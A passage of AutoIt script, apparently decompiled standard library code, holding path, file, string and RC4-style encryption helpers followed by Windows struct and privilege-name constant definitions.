Local $sfullpath = StringReplace($srelativepath, "/", "\")
Local Const $sfullpathconst = $sfullpath
Local $spath
Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\"
For $i = 1 To 2
$spath = StringLeft($sfullpath, 2)
If $spath = "\\" Then
$sfullpath = StringTrimLeft($sfullpath, 2)
Local $nserverlen = StringInStr($sfullpath, "\") - 1
$spath = "\\" & StringLeft($sfullpath, $nserverlen)
$sfullpath = StringTrimLeft($sfullpath, $nserverlen)
ExitLoop
ElseIf StringRight($spath, 1) = ":" Then
$sfullpath = StringTrimLeft($sfullpath, 2)
ExitLoop
Else
$sfullpath = $sbasepath & "\" & $sfullpath
EndIf
Next
If $i = 3 Then Return ""
If StringLeft($sfullpath, 1) <> "\" Then
If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then
$sfullpath = $sbasepath & "\" & $sfullpath
Else
$sfullpath = "\" & $sfullpath
EndIf
EndIf
Local $atemp = StringSplit($sfullpath, "\")
Local $apathparts[$atemp[0]], $j = 0
For $i = 2 To $atemp[0]
If $atemp[$i] = ".." Then
If $j Then $j -= 1
ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then
$apathparts[$j] = $atemp[$i]
$j += 1
EndIf
Next
$sfullpath = $spath
If NOT $brootonly Then
For $i = 0 To $j - 1
$sfullpath &= "\" & $apathparts[$i]
Next
Else
$sfullpath &= $sfullpathconst
If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath)
EndIf
While StringInStr($sfullpath, ".\")
$sfullpath = StringReplace($sfullpath, ".\", "\")
WEnd
Return $sfullpath
EndFunc
Func _pathgetrelative($sfrom, $sto)
If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\"
If StringRight($sto, 1) <> "\" Then $sto &= "\"
If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1))
Local $asfrom = StringSplit($sfrom, "\")
Local $asto = StringSplit($sto, "\")
If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1))
Local $i = 2
Local $idiff = 1
While 1
If $asfrom[$i] <> $asto[$i] Then
$idiff = $i
ExitLoop
EndIf
$i += 1
WEnd
$i = 1
Local $srelpath = ""
For $j = 1 To $asto[0]
If $i >= $idiff Then
$srelpath &= "\" & $asto[$i]
EndIf
$i += 1
Next
$srelpath = StringTrimLeft($srelpath, 1)
$i = 1
For $j = 1 To $asfrom[0]
If $i > $idiff Then
$srelpath = "..\" & $srelpath
EndIf
$i += 1
Next
If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1)
Return $srelpath
EndFunc
Func _pathmake($szdrive, $szdir, $szfname, $szext)
If StringLen($szdrive) Then
If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLeft($szdrive, 1) & ":"
EndIf
If StringLen($szdir) Then
If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdir, 1) = "/") Then $szdir = $szdir & "\"
EndIf
If StringLen($szext) Then
If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext
EndIf
Return $szdrive & $szdir & $szfname & $szext
EndFunc
Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $szext)
Local $drive = ""
Local $dir = ""
Local $fname = ""
Local $ext = ""
Local $pos
Local $array[5]
$array[0] = $szpath
If StringMid($szpath, 2, 1) = ":" Then
$drive = StringLeft($szpath, 2)
$szpath = StringTrimLeft($szpath, 2)
ElseIf StringLeft($szpath, 2) = "\\" Then
$szpath = StringTrimLeft($szpath, 2)
$pos = StringInStr($szpath, "\")
If $pos = 0 Then $pos = StringInStr($szpath, "/")
If $pos = 0 Then
$drive = "\\" & $szpath
$szpath = ""
Else
$drive = "\\" & StringLeft($szpath, $pos - 1)
$szpath = StringTrimLeft($szpath, $pos - 1)
EndIf
EndIf
Local $nposforward = StringInStr($szpath, "/", 0, -1)
Local $nposbackward = StringInStr($szpath, "\", 0, -1)
If $nposforward >= $nposbackward Then
$pos = $nposforward
Else
$pos = $nposbackward
EndIf
$dir = StringLeft($szpath, $pos)
$fname = StringRight($szpath, StringLen($szpath) - $pos)
If StringLen($dir) = 0 Then $fname = $szpath
$pos = StringInStr($fname, ".", 0, -1)
If $pos Then
$ext = StringRight($fname, StringLen($fname) - ($pos - 1))
$fname = StringLeft($fname, $pos - 1)
EndIf
$szdrive = $drive
$szdir = $dir
$szfname = $fname
$szext = $ext
$array[1] = $drive
$array[2] = $dir
$array[3] = $fname
$array[4] = $ext
Return $array
EndFunc
Func _replacestringinfile($szfilename, $szsearchstring, $szreplacestring, $fcaseness = 0, $foccurance = 1)
Local $iretval = 0
Local $ncount, $sendswith
If StringInStr(FileGetAttrib($szfilename), "R") Then Return SetError(6, 0, -1)
Local $hfile = FileOpen($szfilename, $fo_read)
If $hfile = -1 Then Return SetError(1, 0, -1)
Local $s_totfile = FileRead($hfile, FileGetSize($szfilename))
If StringRight($s_totfile, 2) = @CRLF Then
$sendswith = @CRLF
ElseIf StringRight($s_totfile, 1) = @CR Then
$sendswith = @CR
ElseIf StringRight($s_totfile, 1) = @LF Then
$sendswith = @LF
Else
$sendswith = ""
EndIf
Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF)
FileClose($hfile)
Local $iencoding = FileGetEncoding($szfilename)
Local $hwritehandle = FileOpen($szfilename, $iencoding + $fo_overwrite)
If $hwritehandle = -1 Then Return SetError(2, 0, -1)
For $ncount = 1 To $afilelines[0]
If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness) Then
$afilelines[$ncount] = StringReplace($afilelines[$ncount], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness)
$iretval = $iretval + 1
If $foccurance = 0 Then
$iretval = 1
ExitLoop
EndIf
EndIf
Next
For $ncount = 1 To $afilelines[0] - 1
If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then
FileClose($hwritehandle)
Return SetError(3, 0, -1)
EndIf
Next
If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[$ncount] & $sendswith)
FileClose($hwritehandle)
Return $iretval
EndFunc
Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7)
If IsKeyword($s_fileprefix) Then $s_fileprefix = "~"
If IsKeyword($s_fileextension) Then $s_fileextension = ".tmp"
If IsKeyword($i_randomlength) Then $i_randomlength = 7
If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir
If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir
If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\"
Local $s_tempname
Do
$s_tempname = ""
While StringLen($s_tempname) < $i_randomlength
$s_tempname = $s_tempname & Chr(Random(97, 122, 1))
WEnd
$s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension
Until NOT FileExists($s_tempname)
Return $s_tempname
EndFunc
Func _hextostring($strhex)
If StringLeft($strhex, 2) = "0x" Then Return BinaryToString($strhex)
Return BinaryToString("0x" & $strhex)
EndFunc
Func _stringbetween($s_string, $s_start, $s_end, $v_case = -1)
Local $s_case = ""
If $v_case = Default OR $v_case = -1 Then $s_case = "(?i)"
Local $s_pattern_escape = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)"
$s_start = StringRegExpReplace($s_start, $s_pattern_escape, "\\$1")
$s_end = StringRegExpReplace($s_end, $s_pattern_escape, "\\$1")
If $s_start = "" Then $s_start = "\A"
If $s_end = "" Then $s_end = "\z"
Local $a_ret = StringRegExp($s_string, "(?s)" & $s_case & $s_start & "(.*?)" & $s_end, 3)
If @error Then Return SetError(1, 0, 0)
Return $a_ret
EndFunc
Func _stringencrypt($i_encrypt, $s_encrypttext, $s_encryptpassword, $i_encryptlevel = 1)
If $i_encrypt <> 0 AND $i_encrypt <> 1 Then
SetError(1, 0, "")
ElseIf $s_encrypttext = "" OR $s_encryptpassword = "" Then
SetError(1, 0, "")
Else
If Number($i_encryptlevel) <= 0 OR Int($i_encryptlevel) <> $i_encryptlevel Then $i_encryptlevel = 1
Local $v_encryptmodified
Local $i_encryptcounth
Local $i_encryptcountg
Local $v_encryptswap
Local $av_encryptbox[256][2]
Local $i_encryptcounta
Local $i_encryptcountb
Local $i_encryptcountc
Local $i_encryptcountd
Local $i_encryptcounte
Local $v_encryptcipher
Local $v_encryptcipherby
If $i_encrypt = 1 Then
For $i_encryptcountf = 0 To $i_encryptlevel Step 1
$i_encryptcountg = ""
$i_encryptcounth = ""
$v_encryptmodified = ""
For $i_encryptcountg = 1 To StringLen($s_encrypttext)
If $i_encryptcounth = StringLen($s_encryptpassword) Then
$i_encryptcounth = 1
Else
$i_encryptcounth += 1
EndIf
$v_encryptmodified = $v_encryptmodified & Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255))
Next
$s_encrypttext = $v_encryptmodified
$i_encryptcounta = ""
$i_encryptcountb = 0
$i_encryptcountc = ""
$i_encryptcountd = ""
$i_encryptcounte = ""
$v_encryptcipherby = ""
$v_encryptcipher = ""
$v_encryptswap = ""
$av_encryptbox = ""
Local $av_encryptbox[256][2]
For $i_encryptcounta = 0 To 255
$av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1))
$av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta
Next
For $i_encryptcounta = 0 To 255
$i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256)
$v_encryptswap = $av_encryptbox[$i_encryptcounta][0]
$av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0]
$av_encryptbox[$i_encryptcountb][0] = $v_encryptswap
Next
For $i_encryptcounta = 1 To StringLen($s_encrypttext)
$i_encryptcountc = Mod(($i_encryptcountc + 1), 256)
$i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256)
$i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0]
$v_encryptcipherby = BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcounta, 1)), $i_encryptcounte)
$v_encryptcipher &= Hex($v_encryptcipherby, 2)
Next
$s_encrypttext = $v_encryptcipher
Next
Else
For $i_encryptcountf = 0 To $i_encryptlevel Step 1
$i_encryptcountb = 0
$i_encryptcountc = ""
$i_encryptcountd = ""
$i_encryptcounte = ""
$v_encryptcipherby = ""
$v_encryptcipher = ""
$v_encryptswap = ""
$av_encryptbox = ""
Local $av_encryptbox[256][2]
For $i_encryptcounta = 0 To 255
$av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1))
$av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta
Next
For $i_encryptcounta = 0 To 255
$i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256)
$v_encryptswap = $av_encryptbox[$i_encryptcounta][0]
$av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0]
$av_encryptbox[$i_encryptcountb][0] = $v_encryptswap
Next
For $i_encryptcounta = 1 To StringLen($s_encrypttext) Step 2
$i_encryptcountc = Mod(($i_encryptcountc + 1), 256)
$i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256)
$i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0]
$v_encryptcipherby = BitXOR(Dec(StringMid($s_encrypttext, $i_encryptcounta, 2)), $i_encryptcounte)
$v_encryptcipher = $v_encryptcipher & Chr($v_encryptcipherby)
Next
$s_encrypttext = $v_encryptcipher
$i_encryptcountg = ""
$i_encryptcounth = ""
$v_encryptmodified = ""
For $i_encryptcountg = 1 To StringLen($s_encrypttext)
If $i_encryptcounth = StringLen($s_encryptpassword) Then
$i_encryptcounth = 1
Else
$i_encryptcounth += 1
EndIf
$v_encryptmodified &= Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255))
Next
$s_encrypttext = $v_encryptmodified
Next
EndIf
Return $s_encrypttext
EndIf
EndFunc
Func _stringexplode($sstring, $sdelimiter, $ilimit = 0)
If $ilimit > 0 Then
$sstring = StringReplace($sstring, $sdelimiter, Chr(0), $ilimit)
$sdelimiter = Chr(0)
ElseIf $ilimit < 0 Then
Local $iindex = StringInStr($sstring, $sdelimiter, 0, $ilimit)
If $iindex Then
$sstring = StringLeft($sstring, $iindex - 1)
EndIf
EndIf
Return StringSplit($sstring, $sdelimiter, 3)
EndFunc
Func _stringinsert($s_string, $s_insertstring, $i_position)
Local $i_length, $s_start, $s_end
If $s_string = "" OR (NOT IsString($s_string)) Then
Return SetError(1, 0, $s_string)
ElseIf $s_insertstring = "" OR (NOT IsString($s_string)) Then
Return SetError(2, 0, $s_string)
Else
$i_length = StringLen($s_string)
If (Abs($i_position) > $i_length) OR (NOT IsInt($i_position)) Then
Return SetError(3, 0, $s_string)
EndIf
EndIf
If $i_position = 0 Then
Return $s_insertstring & $s_string
ElseIf $i_position > 0 Then
$s_start = StringLeft($s_string, $i_position)
$s_end = StringRight($s_string, $i_length - $i_position)
Return $s_start & $s_insertstring & $s_end
ElseIf $i_position < 0 Then
$s_start = StringLeft($s_string, Abs($i_length + $i_position))
$s_end = StringRight($s_string, Abs($i_position))
Return $s_start & $s_insertstring & $s_end
EndIf
EndFunc
Func _stringproper($s_string)
Local $ix = 0
Local $capnext = 1
Local $s_nstr = ""
Local $s_curchar
For $ix = 1 To StringLen($s_string)
$s_curchar = StringMid($s_string, $ix, 1)
Select 
Case $capnext = 1
If StringRegExp($s_curchar, "[a-zA-ZÀ-ÿšœžŸ]") Then
$s_curchar = StringUpper($s_curchar)
$capnext = 0
EndIf
Case NOT StringRegExp($s_curchar, "[a-zA-ZÀ-ÿšœžŸ]")
$capnext = 1
Case Else
$s_curchar = StringLower($s_curchar)
EndSelect
$s_nstr &= $s_curchar
Next
Return $s_nstr
EndFunc
Func _stringrepeat($sstring, $irepeatcount)
Local $sresult
Select 
Case NOT StringIsInt($irepeatcount)
SetError(1)
Return ""
Case StringLen($sstring) < 1
SetError(1)
Return ""
Case $irepeatcount <= 0
SetError(1)
Return ""
Case Else
For $icount = 1 To $irepeatcount
$sresult &= $sstring
Next
Return $sresult
EndSelect
EndFunc
Func _stringreverse($s_string)
Local $i_len = StringLen($s_string)
If $i_len < 1 Then Return SetError(1, 0, "")
Local $t_chars = DllStructCreate("char[" & $i_len + 1 & "]")
DllStructSetData($t_chars, 1, $s_string)
Local $a_rev = DllCall("msvcrt.dll", "ptr:cdecl", "_strrev", "struct*", $t_chars)
If @error OR $a_rev[0] = 0 Then Return SetError(2, 0, "")
Return DllStructGetData($t_chars, 1)
EndFunc
Func _stringtohex($strchar)
Return Hex(StringToBinary($strchar))
EndFunc
Global Const $tagpoint = "struct;long X;long Y;endstruct"
Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
Global Const $tagsize = "struct;long X;long Y;endstruct"
Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
Global Const $taggdipencoderparam = "byte GUID[16];ulong Count;ulong Type;ptr Values"
Global Const $taggdipencoderparams = "uint Count;byte Params[1]"
Global Const $taggdiprectf = "float X;float Y;float Width;float Height"
Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $tagrect & ";uint uChevronState"
Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
Global Const $tagbitmapinfo = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad"
Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
Global Const $tagguid = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
Global Const $error_no_token = 1008
Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
Global Const $se_audit_name = "SeAuditPrivilege"
Global Const $se_backup_name = "SeBackupPrivilege"
Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
